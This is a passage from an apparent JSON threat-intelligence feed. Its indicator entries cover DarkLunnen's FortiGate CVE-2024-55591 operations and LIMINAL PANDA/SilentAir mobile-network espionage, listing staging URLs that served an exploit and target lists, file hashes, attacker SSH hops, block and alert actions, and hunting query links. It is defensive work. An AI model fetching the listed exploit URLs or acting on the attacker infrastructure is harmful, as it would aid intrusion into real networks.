"Group-IB" } ] }, { "value": "http://129.146.87.174:18080/hJCdxq/popoc.py", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Staging URL on 129.146.87.174:18080 that served the modified FortiGate CVE-2024-55591 exploit popoc.py, recorded in the operator's shell history.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "http://129.146.87.174:18080/UzIwMH/forti-ca.txt", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Staging URL on 129.146.87.174:18080 that served a FortiGate target list (forti-ca.txt), recorded in the operator's shell history.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "http://129.146.87.174:18080/aN2MLr/forti_GB.txt", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Staging URL on 129.146.87.174:18080 that served a FortiGate target list (forti_GB.txt), recorded in the operator's shell history.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "http://129.146.87.174:18080/OJGWIP/son2.tar.gz", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Staging URL on 129.146.87.174:18080 that served son2.tar.gz, an exploit package Group-IB assesses may relate to a June 2025 campaign against 12 US firewall targets.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "b8a76bd31984c13d2b0a47d2aaf68e7472d24f6e63575d1feb2fe50956c32acb", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of chfrt/popoc.py, the modified watchTowr proof of concept for FortiGate CVE-2024-55591 that creates a backdoor super-admin account named service.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "d9edfa7e57067b0a175577e511a9a7ac3d885d15ce28080fa779203317f7616a", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.bash_history, recovered from the DarkLunnen open directory. Operator bash history recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "e15780896245c5f8cbff9303a517e782e94e20f39bb87221a5cb1faac5372c07", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.bashrc, recovered from the DarkLunnen open directory. Operator bashrc recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "0b65f60dc4ace2506003e18bf3ce4a25a149473b57c18af22167afc7037da3bb", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/acv-gw_7-0_0489_202506271512.conf, recovered from the DarkLunnen open directory. Stolen FortiGate 81F configuration from a Romanian organisation, recovered from the operator's server. This is victim data; do not treat the owner's own copy as malware. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "27ddcf81362f87d865329e07235e950fb69ed175afa1f71f76ccfd24ef50fb46", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/ip.txt, recovered from the DarkLunnen open directory. FortiGate scanning target list recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "61e706f5606e025ae8c85a8d1fe7096e0418e16d66acab75b009704d5529a94b", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/passwds.txt, recovered from the DarkLunnen open directory. Password-extraction results from the stolen FortiGate configuration, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "8a43a9c335d9dfe642a0fc5082800753f5ed450fb13b4823cae17e3d0a5bfa1f", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/v_az, recovered from the DarkLunnen open directory. FortiGate results file for Azerbaijan, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "3732b1ffd1a28cf0cc35532bcbea7c179928b8aaa20b16684cd0255ad0f075d1", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/v_tr.txt, recovered from the DarkLunnen open directory. FortiGate results file for Turkey, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "482d16f6c2fa15c10cfc46e37cb298ccee3da1c1ac058a045166fa1429aeb8f7", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/v_ua.txt, recovered from the DarkLunnen open directory. FortiGate results file for Ukraine, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "c7a1e7f8c81e5deb8e63132e942a56aa88acfddabb14ef10141b5c950477b61e", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./chfrt/vulnerable_targets.txt, recovered from the DarkLunnen open directory. FortiGate vulnerable-target list recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "c2a37e9f628d7bfe2e8403c451120f314ef65edb1fde1ab83444714fce85d787", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./fgate_ch.json, recovered from the DarkLunnen open directory. FortiGate target list for Switzerland, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "ce8faad7a4074429d532a39dfd4aedd3afaf1145a3c8c89d2060fc7d8de5d598", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./fgate_irl.json, recovered from the DarkLunnen open directory. FortiGate target list for Ireland, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "8c6969152a0e1ac530909d426797b8326c755ac174a354b67a25f0d0e50b87fa", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./fgate_kr.json, recovered from the DarkLunnen open directory. FortiGate target list for South Korea, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "97826498e0bdebb04d6372a8aae3f86a63d22aeadd6edf15ae2931b037e21958", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.fzf.bash, recovered from the DarkLunnen open directory. Operator fzf bash config recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "5ebceb30834144677c09faf41fa238d1e1eabbb60a4e565c43a337f02381aed9", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.fzf.zsh, recovered from the DarkLunnen open directory. Operator fzf zsh config recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "73624b493febe5af0b9f5893adc2ae41c6b09bf1bf2e6fc05ab3a5908b9a7a2a", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./HikVision-CVE-2017-7921/targets.txt, recovered from the DarkLunnen open directory. Hikvision CVE-2017-7921 target list recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "05f6e90c037205bf230a1784b0df09a49bc99ccca7643284e290c58679760ab2", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./HikVision-CVE-2017-7921/vulnerable.txt, recovered from the DarkLunnen open directory. Hikvision CVE-2017-7921 vulnerable-camera results recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "5c65130964db07a2a3fa86b809430aec3ec61d49678349ec693e1ef39cd10b97", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./pl/bruteforced.log, recovered from the DarkLunnen open directory. VNC brute-force results log recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "6a619a8710badffadead19d75d6aaf4db0d477282fbf44553a36bf7bc83c3a0c", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./pl/good.txt, recovered from the DarkLunnen open directory. VNC endpoints reported as successfully authenticated, recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "52e85a33f216ce6e258d82eb7fa79c2bfdb3b7479751571b6c225884a61a10e8", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.profile, recovered from the DarkLunnen open directory. Operator profile recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "d3d6c5c91d856abfcd3dc05a33d7f602b2c59c7a6950c1b641edeee88793600e", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.todo.cfg, recovered from the DarkLunnen open directory. Operator todo config recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "ffee49eed5f8095e30b124eaeaa1ff5e925e3ebd9f85ed1252abfbedd42dbbd2", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.wezterm.lua, recovered from the DarkLunnen open directory. Operator wezterm config recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "dcec7e94a3a76f9f233bcfbb3e7b37b1bb869c1871a4bb29141db3e09344a8f8", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.wget-hsts, recovered from the DarkLunnen open directory. Operator wget HSTS database recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "73bc1226e3fafaab0189adb293bbd9a9a1bbfd8d6e68e4ad8efc309d59aaa050", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.z, recovered from the DarkLunnen open directory. Operator zoxide directory history recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "02575593e5259f5ba22d524d1fefd71d56d60d0e49d2597333cd4de83ccac9a8", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zcompdump, recovered from the DarkLunnen open directory. Operator zsh completion dump recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "2abc95ce81460a1f018a3ad97a82b4cf201ad1944f2e6fa5a625f301c48b54b7", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zcompdump-test-5.8.1, recovered from the DarkLunnen open directory. Operator zsh completion dump recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "57220bac36ac74a003ac09a4c1b6248b43ad10cae2cde4019ceb3144abf6879c", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zcompdump-test-5.8.1.zwc, recovered from the DarkLunnen open directory. Operator compiled zsh completion dump recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "5e36c5b3c592172d46d1fc73ab594611c2f8fb600a18f4bd33dbf5719313a00e", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zshenv, recovered from the DarkLunnen open directory. Operator zshenv recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "19b00abb2caa589b8d2d5cd4816be65e5f456e0c7edbccf17df8fc17dd97cbfe", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zsh_history, recovered from the DarkLunnen open directory. Operator zsh history recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "bc7870c02f5d74828064a0d08a275e927ca205a85e847ed4f48cc4b45bc87b3c", "type": "sha256", "confidence": "high", "recommended_action": "alert", "description": "SHA256 of ./.zshrc, recovered from the DarkLunnen open directory. Operator zshrc recovered from the open directory. Alert only; do not block.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "103.28.71.82", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "SSH destination as root in the operator's shell history, hosted in the Netherlands on Zenex 5ive (AS209181). Group-IB has not confirmed the host was attacker-owned; it may be a compromised intermediary.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "108.175.14.121", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "SSH destination as root in the operator's shell history, hosted in the United States on IONOS (AS8560). The TLS certificate presented all-smart.freeddns.org. Group-IB has not confirmed the host was attacker-owned; it may be a compromised intermediary.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "122.155.11.107", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "SSH destination as popcloud in the operator's shell history, hosted in Thailand on CAT Telecom (AS9335). The TLS certificate presented *.dltv.ac.th, an educational institution. This may be a compromised intermediary; do not block the address or dltv.ac.th.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "144.91.77.125", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "SSH destination as sigec on TCP 1702 in the operator's shell history, hosted in France on Contabo (AS51167). The TLS certificate presented sp-psdebs.education-bf.com. This may be a compromised intermediary; do not block the address or the educational hostname.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] }, { "value": "all-smart.freeddns.org", "type": "domain", "confidence": "med", "recommended_action": "alert", "description": "Hostname from the TLS certificate on SSH hop 108.175.14.121 (IONOS). Alert only; do not block the freeddns.org dynamic-DNS service.", "source_url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "source_label": "Group-IB – Inside The Server: 14 Months of Offensive Cyber Operations Targeting Europe", "source_name": "Group-IB", "sources": [ { "url": "https://www.group-ib.com/blog/offensive-cyber-operations-europe/", "name": "Group-IB" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.kql", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.spl", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt_raw.spl", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations/hunt.yaral", "download": "DarkLunnen-FortiGate-CVE-2024-55591-Europe-Operations_hunt.yaral" } ] }, { "id": "LIMINAL-PANDA-GTPDoor-v3-SilentAir", "folder": "threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir", "name": "LIMINAL PANDA GTPDoor v3 and SilentAir Mobile-Network Espionage", "short": "LIMINAL PANDA GTPDoor v3", "category": "Nation-state / espionage", "published": "2026-11-11", "entry_date": "2026-11-13 11:03", "last_updated": "2026-11-13", "seq": 45, "headline": "China-nexus actors hide mobile-network C2 in GTP-U and abuse SS7 and Diameter to intercept calls, texts and 2FA", "summary": "Enea, writing on 11 November 2026 and adding key takeaways on 12 November, reports ongoing 2026 activity by the China-nexus actor LIMINAL PANDA inside mobile-operator networks, and names a second signalling-plane actor, SilentAir, whose activity it also believes aligns with China-nexus operations, with the link between the two unconfirmed. SilentAir has been observed in at least six Asian operators, with Taiwanese subscribers the primary target and high-profile people in about a dozen other countries, Europe included; it abuses SS7 and Diameter to track location, intercept calls and text messages (including two-factor authentication codes) and send silent SMS. LIMINAL PANDA now uses GTPDoor v3, which hides command-and-control inside GTP-U rather than GTP-C and captures traffic with libpcap instead of a raw-socket receive path. Enea also publishes an MD5 for SCTPE, a kernel-level tool that sends and receives SS7 and Diameter, as a sample reference. Both hashes are on the block list. This activity is specific to mobile-operator and signalling networks.", "caveat": "Enea published only MD5s, with no SHA256 or network indicators. A raw-socket or libpcap process on a telco node is too common (packet capture, probes, signalling firewalls) to hunt on its own without a published process name or path, so that behaviour is omitted. SilentAir's link to LIMINAL PANDA is unconfirmed.", "targets": { "countries": [ { "code": "TW", "name": "Taiwan" } ], "regions": [ "Asia", "Europe" ], "sectors": [ "Telecommunications", "Government" ], "note": "Enea says SilentAir-related sources in at least six Asian countries targeted a dozen additional countries and territories, with Taiwan the primary target, including political and government VIPs and activity affecting Europe. LIMINAL PANDA was detected across multiple mobile operators (an estimated 5 to 10 infected, with dozens more potentially affected). This activity is specific to mobile-operator and signalling networks.", "source": { "url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "label": "Enea – The Enemy Within: Tracking LIMINAL PANDA and SilentAir through Mobile Networks", "name": "Enea" } }, "mitre": [ { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1040", "name": "Network Sniffing", "url": "https://attack.mitre.org/techniques/T1040/" }, { "id": "T1205", "name": "Traffic Signaling", "url": "https://attack.mitre.org/techniques/T1205/" }, { "id": "T1036", "name": "Masquerading", "url": "https://attack.mitre.org/techniques/T1036/" }, { "id": "T1059", "name": "Command and Scripting Interpreter", "url": "https://attack.mitre.org/techniques/T1059/" } ], "recommended_actions": [ "Block the MD5s 35f0d4d0c5519a2957338e448fce53bc (GTPDoor v3) and da35d98c9a22e8ede93595d21fe7e63e (SCTPE), and hunt file and process hashes on Linux hosts, especially telco and signalling nodes.", "On mobile-operator networks, deploy or tighten GTP-C and GTP-U security and align it with SS7 and Diameter signalling defences.", "For high-risk people who may be SilentAir targets, stop relying on SMS two-factor authentication." ], "sources": [ { "url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "label": "Enea – The Enemy Within: Tracking LIMINAL PANDA and SilentAir through Mobile Networks", "name": "Enea" } ], "indicator_count": 2, "block_now_count": 2, "hunt_count": 0, "hunt_counts": {}, "indicator_counts": { "md5": 2 }, "ioas": [ { "artefact": "A file or process whose MD5 is 35f0d4d0c5519a2957338e448fce53bc (GTPDoor v3) or da35d98c9a22e8ede93595d21fe7e63e (SCTPE) on a Linux host, especially a telco or signalling node", "log_source": "Defender XDR DeviceFileEvents and DeviceProcessEvents, Splunk endpoint file and process logs, Google SecOps file and process UDM", "why": "These are the only indicators Enea published for GTPDoor v3 and SCTPE. A hash match is high fidelity. This activity is specific to mobile-operator and signalling networks; a generic raw-socket or libpcap process on a telco node is too common (packet capture, probes, signalling firewalls) to hunt without a published process name, so that behaviour is omitted. Expected false positives: none of practical concern for an exact MD5 match.", "action": "alert", "has_query": false, "source_url": "https://www.enea.com/insights/the-enemy-within-tracking-liminal-panda-and-silentair-through-mobile-networks/", "source_name": "Enea", "title": "GTPDoor v3 or SCTPE MD5 on a Linux host", "queries": [ "SPL", "YARA-L" ] } ], "ioa_count": 1, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/block_now.txt", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/defender_xdr_indicators.csv", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.kql", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt.spl", "download": "LIMINAL-PANDA-GTPDoor-v3-SilentAir_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/LIMINAL-PANDA-GTPDoor-v3-SilentAir/hunt_raw.spl", "download": 